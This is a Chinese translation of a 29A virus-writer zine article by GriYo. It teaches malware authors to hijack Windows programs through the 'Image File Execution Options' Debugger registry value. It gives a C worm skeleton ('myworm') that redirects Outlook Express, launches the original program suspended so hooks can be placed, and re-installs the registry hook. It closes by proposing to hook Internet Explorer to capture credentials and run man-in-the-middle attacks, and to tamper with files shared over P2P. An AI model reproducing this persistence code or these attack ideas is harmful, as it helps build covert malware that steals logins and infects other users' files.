=============================================================
执行重定向 -- 通过使用'Image File Execution Options'键值
By GriYo/29A
29a-8.017 linux2linux翻译于2005-7-9
=============================================================
我已经厌烦了蠕虫和其他的恶意代码仍然使用众所皆知,老掉牙并且过度使用的注册表键值,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 。
此处我将强调一种能产生很多乐趣的方法,只要加一些想像。
有这样一个注册表键值, 它可以让你重定向执行系统中其他执行文件。虽然这是一个众所皆知并且有文档记载的键值,
但是我并不记得有任何恶意代码使用它, 至少没有足够的想像力来引起我的注意。
着手工作, 跳转到键值
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在里面添加一个新键值,使用一个你想欺骗的执行文件的名字,好比NOTEPAD.EXE
注意到在‘Image File Execution Options’键值中已经有一些条目了,这些应用程序和填充大概是一些为了兼容老版本WINDOWS程序的东东。
现在给NOTEPAD.EXE键值加入一个新的串值类型的值项,名为‘Debugger’,并且键入其他执行程序的路径作为它的值。
所有的东西应该看起来这样:
Image File Execution Options
|
|__NOTEPAD.EXE
Debugger - REG_SZ - C:\WINDOWS\SYSTEM32\CALC.EXE
一旦做好了,在NOTEPAD图标上单击?哪儿有,CALC.EXE被代替执行了,多有趣可笑呀,当你的姐姐试图执行MSN时,却得到了CALC.EXE...
但是我们将要试着超越它...
这儿有一个简单的命令行程序, TEST.C, 它可以显示执行时使用的参数。
----------------------------------------------------------------------
#include "stdio.h"
#include "conio.h"
int main( int argc, char **argv)
{
int count ;
printf( "Number of arguments: %d\n", argc) ;
count = 0 ;
while( count < argc)
{
printf( "Argument %d: %s\n", count, argv[ count]) ;
count++ ;
}
while( !kbhit()) ;
return 0 ;
}
----------------------------------------------------------------------
编译它并将test.exe放在你的根目录,C:\TEST.EXE。现在到注册表的NOTEPAD.EXE键值,修改'Debuuger'让它指向C:\TEST.EXE
在NOTEPAD图标上单击,看有TEST.EXE的输出结果
----------------------------------------------------------------------
Number of arguments: 2
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\notepad.exe
----------------------------------------------------------------------
正如你所见的,原来程序的路径作为参数被传到了test.exe。现在在你的根目录创建一个README.TXT文件,并单击它。
如果NOTEPAD.EXE是你打开.txt文件默认程序,text.exe就会出现,显示如下的信息:
----------------------------------------------------------------------
Number of arguments: 3
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\NOTEPAD.EXE
Argument 2: C:\readme.txt
----------------------------------------------------------------------
现在你可以看见传给NOTEPAD.EXE的参数也出现,作为传给test.exe的参数。
此刻我知道我能写一个能够代替NOTEPAD.EXE执行的程序了。这个程序接受argv[1]并执行它,并通过传入argv[2]或以上作为参数。
在这种情况下,要是你的程序没有显示任何窗口,用户就不会注意到它。
做了什么?你的程序将代替原来的程序被执行。在执行过程中,你的程序会执行原来的程序,使用特定的参数,并挂钩一些API或造成某种变化。
当你做这个的时候,要面对的一个问题是:你的程序(在这个例子中的test.exe)是否能够执行原来的程序(NOTEPAD.EXE)?
为什么?因为在‘Image File Execution Options’键值的重定向。当TEST.EXE使用CreatProcess的方法试图执行NOTEPAD.EXE时,
另一个TEST.EXE的实例会被代替执行,造成死循环。
你需要在Image File Execution Options下删除NOTEPAD.EXE的键值,执行原来的NOTEPAD.EXE,执行完后再将NOTEPAD.EXE键值写回。
你也不得不面对你自己制造的一些其他的小问题。 考虑下面没有完成的代码,作为一个起点:
----------------------------------------------------------------------
#include <windows.h>
#define WormName "myworm"
#define SubKey "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\msimn.exe"
#define SIZEOF_SPOOF_CMDLINE 1024
#ifdef _DEBUG
void DbgOut( char *Text)
{
MessageBox( NULL, Text, WormName, 0) ;
}
#endif
BOOL SetImgHook()
{
char WormPath[ MAX_PATH] ;
int Size ;
HKEY hKey ;
BOOL RetVal ;
Size = GetModuleFileName( NULL, WormPath, MAX_PATH) ;
RetVal = FALSE ;
if( RegCreateKey( HKEY_LOCAL_MACHINE,
SubKey,
&hKey) == ERROR_SUCCESS)
{
RetVal = ( RegSetValueEx( hKey,
"Debugger",
0,
REG_SZ,
WormPath,
Size) == ERROR_SUCCESS) ;
RegCloseKey( hKey) ;
}
return RetVal ;
}
BOOL ClearImgHook()
{
return( RegDeleteKey( KEY_LOCAL_MACHINE,
SubKey) == ERROR_SUCCESS) ;
}
int WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
STARTUPINFO si ;
PROCESS_INFORMATION pi ;
char SpoofCmdLine[ SIZEOF_SPOOF_CMDLINE] ;
char *Src ;
char *Dst ;
#ifdef _DEBUG
if( ClearImgHook()) DbgOut( "App hook removed") ;
else DbgOut( "Error! Cant remove app hook") ;
#else
ClearImgHook() ;
#endif
GetStartupInfo( &si) ;
Src = lpCmdLine ;
Dst = SpoofCmdLine ;
while( *Src != '\0')
{
if( *Src != '\"')
{
*Dst = *Src ;
Dst++ ;
}
Src++ ;
}
*Dst = '\0' ;
if( CreateProcess( SpoofCmdLine,
NULL,
NULL,
NULL,
FALSE,
REATE_NEW_PROCESS_GROUP|CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi))
{
#ifdef _DEBUG
DbgOut( "Original app executed successfully") ;
#endif
//
// Place hooks over original executable now
//
ResumeThread( pi.hThread) ;
WaitForSingleObject( pi.hProcess, INFINITE) ;
#ifdef _DEBUG
DbgOut( "Original app closed") ;
#endif
}
#ifdef _DEBUG
else
{
DbgOut( "Error! Unable to execute original app") ;
}
#endif
#ifdef _DEBUG
if( SetImgHook()) DbgOut( "App hook reinstalled") ;
else DbgOut( "Error! Cant reinstall app hook") ;
#else
SetImgHook() ;
#endif
return 0 ;
}
----------------------------------------------------------------------
这就是我所想的:
* 我不必使用每个蠕虫都已经使用的同一个垃圾似的注册表键值。
* 在内存中修改/挂钩原始程序作为一些变化,当执行时不用担心WINDOWS文件保护。
最后,决定你将要玩弄的程序。一些想法:
* INTERNET EXPLORER
通过给IEXPLORER.EXE或者它的DLL放置内存钩子,你可以截获认证,访问过的URL 或者发动你发明的任何中间人攻击。
* 邮件客户端
这儿没什么好说的?发挥自己的想像力,但是请不要写愚蠢的大量邮件废物,只能感染那些执行他们收到所有东西的傻瓜。
如果你创建什么,创建一些新的东西要比展示WINDOWS用户的愚蠢多得多。
* WINDOWS 资源管理器
你的程序能够得到由EXPLORER.EXE所能做一切的全部访问权,很有创造性。
* P2P
Mmmm?让我们指出下面的情形;你的程序代替某些P2P软件接管控制,在它上放置钩子并运行原始程序。
当远程用户申请某个文件,你的程序加一些东西到那个文件中,传给P2P程序发送,之后再将文件恢复原状。
这就是全部,编程快乐,享受创意!:-)